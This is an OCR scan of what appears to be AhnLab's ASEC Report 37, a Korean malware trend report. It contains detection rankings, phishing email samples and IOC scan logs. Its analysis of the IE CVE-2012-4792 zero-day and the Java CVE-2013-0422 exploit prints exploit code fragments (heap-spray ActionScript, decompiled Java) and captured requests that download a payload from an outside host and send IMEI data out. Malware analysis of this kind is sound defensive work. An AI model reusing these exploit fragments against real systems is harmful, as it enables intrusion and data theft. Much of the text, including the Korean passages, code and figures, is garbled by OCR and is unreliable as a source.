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9 5% otyAC % HIg
1 - ASD.PREVENTION 726,032 21.6%
2 - Malware/Win32.suspicious 386,249 1.3%
3 Ab JS/Agent 266,533 7.8%
4 — Textimage/Autorun 224,876 6.6%
5 A2 Trojan/Win32.adh 220,423 6.5%
6 v1 Trojan/Win32.Gen 196,609 5.8 %
7 A3 Trojan/Win32.agent 169,686 5.0%
8 v5 Trojan/Win32.onlinegames 164,451 4.8 %
9 A3 Trojan/Win32.onlinegamehack 154,451 4.5 %
10 NEW Win-Trojan/Onlinegamehack.205350 121,154 3.6%
11 NEW Win-Trojan/Onlinegamehack.208896.W 103,594 3.0%
12 A2 Adware/Win32.korad 97,687 2.9%
13 A2 RIPPER 87,306 2.6%
14 NEW Win-Trojan/Agent.204208 86,584 2.5%
15 NEW Win-Trojan/Rootkit.83909376 79,587 2.3%

16 NEW Win-Trojan/Agent.204692 70,640 21%
17 NEW Html/Shellcode 68,148 20%
18 NEW Win-Trojan/Patcher.155648 65,155 1.9 %
19 NEW Trojan/Win32.sasfis 58,679 1.7 %
20 v7 Malware/Win32.generic 57,810 1.7 %

TOTAL 3,405,654 100.0 %
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?:I'%"EJ_" ',:EIEI' 20 1 — Trojan/Win32 1,429,566 21.3%
[E 12]= AMNF =Y HES =5t 2 A2 Win-Trojan/Agent 850,329 12.6 %
St ofMTC ChE RICHE X 7fh o 3 A2 Win-Trojan/Onlinegamehack 766,762 1.6 %
4 v2 ASD 726,032 10.8 %

Ol 211 201S 2 R0IE. 2013 5 v2 Malware/Win32 455,694 6.8 %
= 120fl= Trojan/Win327t & 142 6 ab Win-Trojan/Urelas 304,573 45%
ot 95667122 71A BIHG| E1 7 A8 JS/Agent 267,101 4.0 %
=l 702 FABACE Win-Trojan/ 8 V2 Adware/Win32 235,382 35%
Agent7h 858F 32974, Win—Trojan/ 9 — Textimage/Autorun 224,902 3.3%
10 v3 Win-Trojan/Downloader 224,504 3.3%

OnlinegamehackO| 762t 676212 1 vi Win-Trojan/Korad 198,154 2.9%
2 1 FE oIACt. 12 A7 Win-Trojan/Avkiller 152,098 2.3%
13 v2 Win-Adware/Korad 143,427 2.1%

14 A3 Win32/Virut 129,856 1.9 %

15 v7 Downloader/Win32 126,430 1.9 %

16 A2 Win32/Conficker 118,740 1.8 %

17 NEW Win-Trojan/Rootkit 105,143 1.6 %

18 v2 Win-Dropper/Korad 91,542 1.4 %

19 A1l Win32/Kido 89,767 1.3 %

20 NEW RIPPER 87,306 1.3%

TOTAL 6,727,308 100.0 %
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1 Win-Trojan/Onlinegamehack.205350 121,154 14.9 %
2 Win-Trojan/Onlinegamehack.208896.W 103,594 12.9 %
3 Win-Trojan/Rootkit.83909376 79,587 9.8%
4 Win-Trojan/Patcher.155648 65,155 8.0 %
5 Win-Trojan/Avkiller.23488 44,025 5.4 %
6 Dropper/Onlinegamehack.132391 35,956 b4.b %
7 Win-Trojan/Avkiller.83912064 35,183 4.3 %
8 Win-Trojan/Agent.656600 35,146 4.3 %
9 Win-Trojan/Onlinegamehack.135505 31,756 3.9%
10 JS/Donxref 31,560 3.9%
11 Win-Trojan/Onlinegamehack.105984.0 29,910 3.7%
12 Win-Adware/KorAd.657472 29,263 3.6%
13 Win-Trojan/Agent.204768 26,210 3.2%
14 Win-Trojan/Downloader.208475 23,649 2.9%
15 Win-Trojan/Agent.65024.JS 22,624 2.8%
16 Win-Trojan/Onlinegamehack.79138304 22,091 2.7%
17 Win-Trojan/Korad.100352 21,941 2.7%
18 Win-Trojan/Modifiedupx.130853 19,700 2.6%
19 Win-Trojan/Urelas.513536 17,250 2.1 %
20 Win-Trojan/Agent.400384.BI 16,889 21%
TOTAL 812,643 100.0 %
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Description: ~ Microsoft® HTML Help Compiler
Copyright:  Copyright © Microsoft Corp.

Other version information

Value:

| [ Microsoft Corporation
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Language
Original File name
Product Name
Product Version
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B NvSmart. hlp - Notepad

Fle Edt Format View Help

2013-01-15 14:11:47 | C:\WINDOWS\Explorer.ExE | Run
notepad

2013-01-15 14:11:48 | C:\WINDOWS\Explorer.EXE | Program Manager

2013-01-15 14:13:00 | C:\WINDOWS\system32\notepad.exe | untitled - Notepad
www. fuckyou. com, gotohell.com

Are you the most

catch me if you can.

You will never catch me in the world.

Do not make a malware.

2013-01-15 14:31:32 | C:\WINDOWS\system32\notepad.exe | Untitled - Notepad

south Koreas Best of the Best Tackle cyber crime

Picture the scene: Picture the scene: dozens of computer
poring over their keyboards in a room filled with power
Ffeverishly typing in code most of us could nver computer
Their mission?

2013-01-15 20:44:17 | C:\WINDOWS\Explorer.EXE | Program Manager
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9 POST /update?id=000fa230 HTTP/1.1
54 Hong Kong http > mc-gt-srv [ACK] Seq=207 Ack-
260 Hong Kong HTTP/1.1 200 OK

192.168.85.128
hua.1 T
192.168.85.128
192 168.85. st

Hong Kong

Hong Kong [TCP segment of a reassembled POU]
54 Hong Kong http > mc-gt-srv [ACK] seq=413 Ack=
9% Hong Kong POST /update?id=000fa230 HTTP/1.1

54 Hong Kong
260 Hong Kong
339

54 Hong Kong
261 Hong Kong

http > mc-gt-srv [ACK] Seq=413 Acks
HTTP/1.1 200 OK
POST /update?id=000fa230 HTTP/1.1

http > mc-gt-srv [Nz: AhnlLab
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Retun Reason Code R21 - The identification number used i the Company Identication Field 15 not valid
Please, check the d‘ormﬁ n -vyabacbon contacts section
attach name = report 18638 pdf
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EFTPS.

The Electronsc Federal Tax Payment System
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the EFTPS.
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Subject: Ynmmwl Delayed Tax Returns
Attach: ) Tax Report.2ip (42.0KB)

@
(@)
&[S

X 0 0O w
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Tax agent report for delayed tax returns over 30 days
Please find attached your weekly report for the period ending 10/01/2013

What you need to do

Refer 10 the intial ny il with nmchmem ent you with instn
interpret your tax
Yours sincerely

Deputy Commissioner of Taxation
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OpenIOC

An Open Framework for Sharing Threat Intelligence

Sophisticated Threats Require Sophisticated Indicators
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TEETSETTINgupue e
00 S
:@8 Running built-i B ipt at ./1ib, » >
100 Auditing s rted at 01-23-2013 14:18:00
B0 Auditing 3 d. (Took 0.8 conds )
190 Auditing started at 91-23-20 14:18:00
23-2013 14 8:00 Auditing finished. (Took 8.831 seconds)
2013 14:18:00 Auditing (w32volumes) started at 81-23-2013 14
(Took 1.847 second
arted at 81-23-2643 14:18:01

-23-2013 14:18:81 Auditing (w32volume ed.
-23-2013 14:18:81 Auditing

2013 14:1§808Muditing

2013 14:18201 Aud i ting

2013 Auditing Cud2néthorksarp)

. (Took
Al iting (E2n88LorkIOuEEd staruSliaE 8123201
AU iting (W32neElork BOutEd finiShed. KTodk 0.0842 seconds)
AN €Dy (W32 880 rk idh s Y SEARE. AAENAL 2 352018 94 : 18 : 01
Auditing Cw3Znetwork-dns) finished. (Took B8.847 seconds)
Auditing started at 91-23-2013 14
23-2013 Auditing 2 inished. (Took 8.189
-23-20813 Auditing arted at 81-23-20813 1
2013 14:18:086 Auditing
2013 14:18:06 Auditing
2013 14:18:07 Auditing
23-2013 Auditing
2 Auditing
Auditing

23-2013

. (Took H B'II 3
pting-pe ence) started o

Auditing ripting-persistence> finished. (Took 331.14
Auditing
Auditing
Auditing Ccookiehistory)

> finished. (Took 6.937

tarted at @1-23-2013 1

(Took 8.141 second
23-2013 14:

Auditing <(cookieh ory> f shed.
2013 14: 117 Auditing (filedownloadhistory) started at 01

cIt] —s [HEIH &4
2] —t doc —o [MEel2|ZEAZT
EMoll= 2k 38 M=t AQFH, 24 2= Al doc HEHZ ZAunpot

MEECh

‘$ mandiant_ioc_finder report —i[X{Zfst io
[
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t_ioc_finder.exe report —i red_october.ioc
:threport
8 1 iocs were loaded.
i trying c:iWreport®
23-2013 15:43:29 Beginning s idit bundle at pathwc:¥MaliciousMaudits
P3KON20130123061406 <1 . Total size=310.44 MB.

earched 5% of audit bundle #1...
rched 18x audit bundle #1...
Searched 15 audit bundle #1.
hed audit bundle #1.
84 Searched audit bundle #1.
11 hed 38 audit bund u.
rched audit bundle #1.

earched audit bundle #1...
31 Searched audit bundle #1...
audit )mndlr w.
audit .
.
L}
e W1.
#1

% of audit bundle #1.
earched 98x of audit bundle #1...
18 Searched 95% of audit bundle #1..
108% of audit bundle 1.
octobe c.4
19 Generating HTML weport at c:
generation completed.

786 BBebc V8070182554435 66c3fddcBf

‘F2 108 YMICSIHE

2, md5 hash 2 7|E} Ik

Mot [
EHEI MY

EIC,
Jndicator Name. Campaign:
File Name. File Path
File Last Last Entry —
pMDS el Createde |Written: | Aecessed: | Modifiedo | File Size
lgdrke.swk C:\Prograr Flesyvindows NI )
BbbS6CSbbB5a04b0b22000202266804k [ 300K ||83/21/2009 91/23(2013 [ 01/23/2013 [ 15,

¥ 14:0615724 ] 05:4581627
ndows NT
03/21/2

05:00:062¢

svchost.exes &R program n

b3e771e5c045304028f357d6a7acf3c1+

Ul/”‘/"DL,
04:59:4027 | 05:00

/14/2008 or1a
12:00:00Z 2114564
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http://www.mandiant.com/resources/download/ioc-finder/ 
https://github.com/jaimeblasco/AlienvaultLabs/blob/master/malware_analysis/RedOctober/48290d24-834c-4097-abc5-4f22d3bd8f3c.ioc
https://github.com/jaimeblasco/AlienvaultLabs/blob/master/malware_analysis/RedOctober/48290d24-834c-4097-abc5-4f22d3bd8f3c.ioc
https://github.com/jaimeblasco/AlienvaultLabs/blob/master/malware_analysis/RedOctober/48290d24-834c-4097-abc5-4f22d3bd8f3c.ioc
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T2 Z3|o| AE0{ 1007t Ck22= ADULTS ONLY oo e (B whnes
T2 220| AZ0{0l| ARK} ADIEEQ| HEE 425k oiZ2/H
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' & 5 -
“ - - Maps Messaging Musi Navigation

AhnLab i

News and Phone laces Play Store
Weather

o8

Settings 2 esk 2 Spare Parts

18 i 0] 37H2| ofS2|7|0[ 82 1= S2|0| AE00I|M AMITHK| )
2t ME | 0F2U(3rd Party)ollAl= Ch2E2E7t 7kssich . =

Speech Ik Voice Search  YouTube

Recorder
A



Q s717

x|

HEXI 84

A
8t=R10f X of

ALl =3

OHZ0[7|0[430| MH=|H ol YEE +Fall EF M= TSeIC,

- AIZX2| O|HY(FS) T4
- IMEIHE

- fxEE

- M7IXE Z=

— O|SEAIA APN(Access Point Name) A&

AN HIEQZ TS nhE2 [O3 1-96]1t 2Tk

ASEC REPORT 37 MALICIOUS CODE TREND 24

RO B|IO MHYNOQ =210 =82

POST /aetur|.aspx? -
|email=h o I14m  “I-3gmail .com&imei=000000000000000&|at=0&|
on=0&mob i le=true&group=0&pname=| ive.wal Ipaper .freshgirls.g2
&mcc=310

&mnc=260 HTTP/1.1

Content-Length: 10

Content-Type: application/x-www—form-urlencoded

Host: ads.betatata.com

Connection: Keep-Alive

POST /geturl.aspx?

emai |=&imei=000000000000000& | at=0&| on=0&mob i | e=t rue&group=0
&pname=sexygir|s.wal Ipaper .hard.gl&mcc=310&nnc=260 HTTP/1.1
Content-Length: 10

|Content-Type: application/x-www—form-ur lencoded |
Host: host®t.TU(HATA  COM
Connection: Keep-Alive

|
reg=server
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HOMHX|2! MSO1-008 0] LB QUL IE ARBKIE2 Hot IHXIE &t
EA| ZZsf| QoA PCE AtE5H7| HIZHTE

-

MS13-001 Windows Q14 AZ2{ 714 40| ForHo= QI
2 3= Asl 2XIE(2769369)

MS13—002 Microsoft XML Core Services?| F|etHo =2 QIst 2174
T AMsH BH|X((2756145)

MS13—008 Internet Explorer EQF S4L|0|E(2799329)

MS12—003 System Center Operations Manager2| F|2f& o
2 QISH Hst A& EXIE(2748552)

MS13-004 NET Framework2| £[2FHO 2 0I5t st A& 2x]|
F(2769324)

MS13-005 Windows H<E 2 =2}0|HQ| FAHoZ 0I5t #
3t A5 2H|E(2778930)

MS13—-006 Microsoft Windows2| F2FEoZ 215t Hot 7|5 2
3| (2785220)

MS13—007 Open Data Protocol2| F|2HHO 2 OISt MH|A 7{E
Z2HIE (2769327)
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22 M2 flo] F2¥-(CVE-2012—-4792) =4E

Ol |2 AT E(MS)OA THSH= QIEUll UAZZ3|(E) ¥ EH2tRX
o AUHX|X| 42 M|IZO|0|(Zero Day, 0-Day) &S otx
0| S7HZIC,

ro
OH
N

O|tHofl UAE IEQ] MZOH|0| HUHS AT SA2 0= A=A
9l The Washington Free Beacon0| &5t 7|A{Chinese Hackers
Suspected in Cyber Attack on Council on Foreign Relations)S £3H
0= 2|1 $19|3|(Council on Foreign Relations, CFR) ¥ AO|E7} 5l
ZEUCh= AA10] S7HFICE

0|2t 25l Ol0|TRAZENME EQt HTE  ‘Microsoft Security
Advisory (2794220) Vulnerability in Internet Explorer Could Allow
Remote Code Execution’ € Sl IE0| £xlst= MZH|0] F[HH
(CVE—2012-4792) &3 HEE IIHACE

i MZOo| FeFHoll IS W E M2 ohaat 2o

— Internet Explorer 6
— Internet Explorer 7

— Internet Explorer 8

Ot 0l= 2w Bol3| &l AIE slide Salf S7HE E2| MZH[0]

oFElg 2485t BAo0ll= Chro| Java ATZE mUut of=H| Saf
2|(Adobe Flash) IF0| AFRFACE O|tH 20| MHZIQl LRE Al
3fstH chEat 2t

(0]

help.html news.html robots.txt

today.swf

xsainfo.jpg

flowertep.jpg

AhnlLab

a2 2-2 | M2 dlo] Fokd oI5k Z2ie| Maxiol 2=

IE MZH|0| FUES
ol Ic= MHEH [12! 2-3]at 20| 2
0 Z=71 B5=20{, B0, Tt S=20{, L=0], 2{Aloto] a2
o A=012t s ISt=2 AM|IZCt

o245t 220l AFREl help.html(4,389 HIO|E)
Mo ME=|o Y= A
Bt=20q

Z|okxi0| E X

if(g!="object")

T — Ahnlab

location.href="about:blank";
}
var h=navigator.systemLanguage.toLowsrCase();

|if(h!-"zh—cn“ && hi="en-us" && h!= "zh-tw"ss h!= "ja" s& h!= "ru"ssh!= "ko" )I
=] {

| location.href="about:blank";
}

a2 2-3 | 2R A glojzc

J2|7 o{=H| Zei4 mhUQl today.swf(4,057 HIO|E)2} news.
htmi(849 HIO|E)E S&5t=2 F=Jt MIRH|0] QICt,

width=\"100%\" height=\"100%\" id=\"today\"><param name=\"movie\" valug=\"today.swf\"]/>

<param name=\"allowPuligcreen\” value=\"cxue\" /></abjece><itrame sxfCrevs neniYitranesns

T2 2-4 | Florst B2H4l Z2folo] i 55

SHZE AlARCl SUSH B20| EXHME N2 FHE[= today.
swf(4,057 HIO|E)= [17 2-5]et Z0| & AZ|0] LHEER

(heap—spreay overflow) ZE2} 87| A3 =(Shellcode)?t Z&tef QU
Ct.

—— Ahnlab

var loc3:* = 0;
var loc?:* = undefined;
var loc8:* = 0;

. LT
l var locO:% = 1

locl.endian = Endian. LITTLE_ENDIAN;

var locd:* = 0;

this. 08 Version = this.08();

var locS:® = Externallnterface.call("eval”, * . ygetEl

.u40175173071080a7sv1]

CBYId('test'). ")

locz = 0;
while(locZ < 3340 / 4)

g 2-5 | Forst Z2l4 Z21|0]0f mbof] =

S HEEZ 9I5| CIRRE El= xsainfo.jpg(509,440 HIO|E) Of
2l o|o|X|2} Z0| XORZ 2IFY(Encoding)=l0f M, 0|2 C|ZY
(Decoding)atH| =™ flowertep.jog(509,440 HIO|E)7} MM =ICt
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J00010 K @
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J00030
J00040 L s 0% A d
J000S0 isS program canno
J00060 t be run in
J00070 node
Joooso 21._pot sm bot
J000%0 Uh..u®t .Uh. et
J000a0 POu. . "t aua. a0t
1000b0 Au=. vot aus. )0t
J000c0 aup.udt aux. yot
300040 Aud_yOt Auh yoOt
J000e0 Richpét

nnnén

ol

Hysoz Msiele 02
JhEl AlARoR T
3

| OIFOIXIX| U

C|2YE flowertep.jog(509,440 HIO|E)7t
ofl x|t web.vipreclod.com0|2t= =02

2 NE5H| EILE, 24 A0l FAERI 40

(=Nl T

PELTRUUR 1S ASr SES2d VINA YD | VLALLM UL A T L LNy PR,

ache-control: private

ipreclod. com/photo/nfrpthpxrecdswy. jpg HTTP/1.1

ache
okie: ASPSESSIONIDSSTDBASE=BEINHDKCBHMGIBBGGMDIPIEG

HTTP/l 1 404 Not Found
ja: 1.1 WIN-SUHI150QPVR
onnection: Keep-Alive
Proxy-Connection: Keep -Alive
ontent-Length: 103
Date: Thu, 03 Jan 2013 09:11:54 GMT
ontent-Type: text/html
Server: Microsoft-115/6.0
X-Powered-By: ASP.NET

02 2-7 | 53 AlAHOR Ha Als

AhnlL3ab

mom Fao| AT E Z90ls SX pg TUS ceas
Sto 2R} KRS CI2 WSS 488 Aoz FHEH, Ciea)
22 olom0l JiSSS 48 B 4 QU TS0 EaHE0] rk

= 2191(CommandLine) & 43

SR MSOIAI= i RIZE0] FHOFH(CVE-2012-4792)2 AI51|
95t HOMHXIS 0|2 BX| At 12 8Y HEC

SRS MESI| Hol= s EX| =k 92t

s Ferdoll ek
10HTS AMSSI7LY, CHE 8 HElRX Q| AF2S Hust Qrt

qtok sHE MIZH|0] FFmo| Jatg Y= HAQ| IEE AMZsHof &
A20ll= MSOIAM AMEsHe HES| FiXIT  ‘Microsoft "Fix it" available

for Internet Explorer 6, 7, and 8 & Ax|aH0f SiCt,

(V3 HIEZC
JS/Agent
SWF/Cve—2012—-4792

ZIHE)
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Binimage/Cve—2012—-4792
Binimage/Diofopi
Downloader/Win32.Agent

(TrusGuard ErX|H)
ms_ie_bution_memory_corruption(CVE—2012—4792)
ms_ie_button_memory_exploit(CVE—2012—4792)

Java M|2H|0] 32| =St 7t CVE-2013-0422

240 0]y
TE=SHA| B7kstr UCE XHE F[Qf
o2 FZ Windows 2! Mac AlA

A0l 0IS=|1 U7 Ut

2oH0l= Java(XHHh) HMZH0] FAtES A4t 34
e 2EAHe =2

K0l ok
1 CHACZ 510 ANTE

AHIZ2 07
aO= o

18 =0 L2 Java CVE-2013-0422 FAHE2 MIZ200| SHe=2
JMX( Java Management Extensions )2| Z[2FES o251 JVM 2| M
CHIA JI5E 361 Ek
JMX= JWM o] S2I0IAUEL| HA T 0|80 AE3sk= 7 |XIZ,
JMX IH7|X| com.sun.jmx.mbeanserver.Mbeaninstantiator S2HA 9|
findClass H|AE SO
TC Jar O] Z2iA PR 17 2-8]at L.

beag META-INF

|J] ewjvaiwebvhtuail2da
3] hw
[J) test

FIoPg0| ZXHBIC, SHE FOIRS A3t oy

L ==

BB

a2l 2-8 | Java MI2HI0| 22 Jar o

sliie Jar TS shidlotH LSOl oty S2HA7H EXiSk=, ol=

jmxmbeanserver £ 0|23IC},

public ewjvaiwebvhtuail2da(String paramString)
throws Throwable

{
try
{

byte[] - 124f(rest 124b, "") + test.
1dex ldexr = mew ldex():
local - local 1d (", mull, mull):
- local ):
Class localClassl = £indCl 124¢(2(8)), mull):
Class localClass2 = £indcl 124¢(2(7]), mal);
Lookup locallookup = bliclookupl) :
o = lass, Class.class, new Class[] { 1ass
= locallookup. £indVirtual Lookup.cl 124g(2(10]), L
Yo - Void. TYPE) ;
- Local invo Object() ( locallockup, :
Object 1= le2 Keui Object[0]):
- 1 cl 1 new Class() { String.class, Met
Hemodﬁmdle localNethodHandle3 = locallookup.findVirtual Look: 1 d 124¢(2[61), loc
¥p localClass2, ClassLoader.class);
= local invokevi Object[] { locallook
Object localObject2 = invokeli Object() { localObjectl, mull });
= Methos 1 lass, St 1 new Class(] { [B.class }):
- local Object(] ( lecallocky
Class localClassd = (Class) LeS. invokeV: obsece(] ( null, M.
locelClass3.nevInstance() ;
Hethod = localClass3.getMethod("t", mew Class[] { String.class, Class.class )):
localMethod. invoke (null, new Object[] ( paramString, hw.class }):

)
catch (Exception localException)

02l 2-9 | Java HMZH[0| 32 28 Za2HA LR

CVE-2013-0422 FFMZ H|Ral 7|& Java FAMS0| AMTE
FIZ S0 1=35] 0121 U0 ALSXES| Fol7t 2ol

offiet 2 HHoz Al AlA” HX|E Java HES RISt =



Java 7 Update 11 HAELH ZO™ AH|0|ES HIEA| M25H0F 5
g MZH0| B9 TS U2 4 UL Y E2HHX|= Xl 22t
o

2 AOIEA 088 4 Uct

IC:WDocuments and SettingsWasec)java -version
ljava version V1.7.0_05"

Java({TM> SE Runtime Environment <(huild 1.7.0_05-bh65>
WJava HotSpot<{TM> Client UM <build 23.1-bB3, mixed mode., sharing>
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(44.2%) 22 7&t 2otn 0
Y017t 114574(12.9%)22 1
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orMzC 2|ctHiE 4

otedFE Wi E|CH 10 o
M= Win—Trojan/Installio. 16355
207t 9147122 J7F Bty
Adware/Win32.Clickers 4710]

MEH SEUCL

ASEC REPORT 37 WEB SECURITY TREND
=g ray HIZ
TROJAN 3,934 44.2 %
ADWARE 1,145 12.9 %
DROPPER 517 5.8%
DOWNLOADER 301 3.4%
Win32/VIRUT 212 2.4%
APPCARE 171 1.9 %
JOKE 15 0.2%
SPYWARE 2 0.0 %
ETC 2,603 29.2%
TOTAL 8,900 100%
H 32 | AMIC Q3 iz 4
TROJAN
3,934
4,000
ETC
2,603
ADWARE
1,145 2,500
DROPPER
517
DOWNLOADER
301
Win32/VIRUT
212
APPCARE
17t ‘ JOKE
15 SPYWARE
2
0
J% 3-5 | AdFE R HIZ 5
9l s SIRETSE 2% Hlg
1 A2 Win-Trojan/Installiq.1635520 914 27.2%
2 AL ALS/Bursted 366 10.9 %
3 NEW Adware/Win32.Clicker 355 10.5 %
4 NEW Adware/Win32.Downloader 301 8.9 %
5 AL ALS/Qfas 280 8.3 %
6 A4 Packed/Win32.Vmpbad 253 7.5%
7 NEW Trojan/Win32.Starter 239 7.1 %
8 V4 Trojan/Win32.Agent 238 7.1 %
9 NEW Win-Trojan/Zegost.406016 220 6.5%
10 v2 Trojan/Win32.HDC 203 6.0%
TOTAL 3,369 100 %
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